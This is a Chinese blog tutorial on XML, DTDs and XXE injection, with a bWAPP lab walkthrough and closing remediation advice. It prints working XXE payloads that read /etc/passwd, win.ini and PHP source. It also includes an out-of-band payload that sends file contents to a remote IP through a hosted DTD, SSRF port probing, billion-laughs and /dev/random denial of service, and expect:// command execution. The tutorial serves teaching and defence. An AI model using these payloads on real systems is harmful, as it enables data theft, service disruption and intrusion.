XXE漏洞

本文详细介绍了XML(可扩展标记语言)及其文档类型定义(DTD),包括XML的基本概念、结构和自我描述性,以及DTD的声明方式和关键字。接着,重点讨论了XML外部实体和XXE(XML外部实体注入)漏洞,展示了如何利用XXE读取本地或远程敏感信息,并列举了多种攻击代码示例和防御措施。最后,提到了XXE的潜在危害,如DoS攻击和命令执行,并提供了漏洞挖掘和修复策略。
摘要由CSDN通过智能技术生成

XML及DTD介绍

XML指可扩展标记语言,设计用来进行数据的传输和存储。
XML是一种标记语言,很类似HTML
XML的设计宗旨是传输数据,而非显示数据
XML标签没有被预定义。您需要自行定义标签
XML被设计为具有自我描述性
XML是W3C的推荐标准
XML是不作为的
XML仅仅是纯文本
XML可以发明自己的标签
XML是对HTML的补充
XML是W3C的推荐标准

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。
1、内部声明DTD:

  <!DOCTYPE 根元素[元素声明]>

2、引用外部DTD:

  <!DOCTYPE 根元素 SYSTEM"文件名">

3、内外部DTD文档结合:

  <!DOCTYPE 根元素 SYSTEM"DTD文件路径"[定义内容]>

DTD中的一些重要的关键字:
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)

PCDATA
PCDATA的意思是被解析的字符数据。
可把字符数据想象为XML元素的开始标签与结束标签之间的文本,PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体于于以及标记,文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何&、<或者>字符;需要使用&map;&lt;以及&gt;实体来分别替换它们。

CDATA
CDATA的意思是字符数据。
CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

实体:
实体是对数据的引用;根据实体种类的不同,XML解析器将使用实体的替代文本或者外部文档的内容来替代实体引用,它主要分为以下四类:
内置实体
字符实体
通用实体
参数实体
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称;
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的,另外定义时注意%后面跟空格。

内部实体声明:

<!ENTITY 实体名称“实体的值”>

一个实体由三部分构成:&符号,实体名称,分号(;),这里&不论在GET还是POST中都需要进行URL编码,因为是使用参数传入xml的;&符号会被认为是参数间的连接符号,实例:

<!DOCTYPE foo[
<!ELWMENT foo ANY
<!ENTITY xxe "Thinking">
]>
<foo>&xxe;</foo>

外部实体声明

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如以下三种:

file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “URI/URL”>
]>
<foo>&xxe;</foo>

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,以下是各种语言外部实体的默认协议:
在这里插入图片描述
外部实体示例:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE methodname[
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >
]>
<methodname>&xxe;</methodname>

这种写法调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。
参数实体格式:

<!ENTITY % 实体名称 “实体的值”><!ENTITY % 实体名称 SYSTEM “URI”>

参数实体示例:

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

外部evil.dtd中的内容:

<!ENTITY evil  “file:///c:/windows/win.ini” >

引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI/URL">

XXE漏洞介绍

XXE也叫XML(可扩展标记语言)外部实体注入,然后我们这里拆开来解释:
注入:
在XML数据传输过程中,数据被恶意修改,导致服务器最终执行了修改后的恶意代码。
外部实体:
通过调用外部实体声明部分对XML数据进行修改,插入恶意代码。

因此XXE指的是XML数据在传输过程中,利用外部实体声明部分的“SYSTEM”关键字导致XML解析器可以从本地文件或者远程的URL中读取受保护的数据。
示例攻击代码1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMNET foo ANY>
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<foo>
        <value>&passwd;</value>
</foo>

这里使用了file 协议读取了敏感文件。
示例攻击代码2

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMNET foo ANY>
<!ENTITY file SYSTEM "file:///folder/file">
]>
<foo>
        <value>&file;</value>
</foo>

这里使用了file 协议读取了文件。
示例攻击代码3

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<root>
<name>&xxe;</name>
</root>

通过PHP伪协议读取源码
示例攻击代码4(调用远程DTD读取)
payload:

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://66.42.45.100/eval.dtd">      
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/result.txt">    %remote;    
%send;]>

vps上的eval.dtd(需监听8888):

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://66.42.45.100:8888/?%file;'>">
%start;

靶场实战

这里我们将使用bWapp来演示:

攻击实验1

file协议读取win.ini

payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [
<!ENTITY a SYSTEM "file:///c:/windows/win.ini">
]>

或者直接不用协议,SYSTEM “c:/windows/win.ini”,效果一样。
读取成功

攻击实验2:端口扫描
可以使用http URL并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF(服务器端请求伪造)。
以下代码将尝试与本地端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。

攻击实验3
敏感数据发送到远程服务器中(无回显时使用)
Payload:

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://66.42.45.100/eval.dtd">      
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/result.txt">    %remote;    
%send;]>

vps上的eval.dtd(需监听8888):

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://66.42.45.100:8888/?%file;'>">
%start;

注意:eval.dtd中,之所以要把“%”转成 html 实体编码是因为在实体的值中不能有“%”,所以也就只能转成%

其他利用:
1.DOS 攻击,此 payload 测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃

<?xml version="1.0"?><!DOCTYPE lolz [  <!ENTITY lol "lol">  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>	

UNIX 系统

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [   
<!ELEMENT foo ANY >  
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

这段 payload 会让 xml 解析器尝试使用 /dev/random 文件中的内容来替代实体,所以这个示例会直接使 UNIX系统服务器崩溃。

命令执行:
在特定场景下。
由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个 expect 扩展我们就能直接利用 XXE 进行 RCE 。

示例代码:

<!DOCTYPE root[
<!ENTITY cmd SYSTEM "expect://id">
]>
<dir>
<file>&cmd;</file>
</dir>	

挖掘方式及修复

判断数据类型
判断自定义XML是否被解析
判断是否支持外部实体,尽量使用自己的VPS判断,避免遇到的不是不回显得XXE
漏洞利用
读取敏感信息文件
内网探测
漏洞修复
1、使用开发语言提供的禁用外部实体的方法
2、过滤用户提交的XML数据
3、不允许XML中含有任何自定义声明的DTD
4、最简单、粗暴、有效、直接的修复方式就是禁用DOCTYPE

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值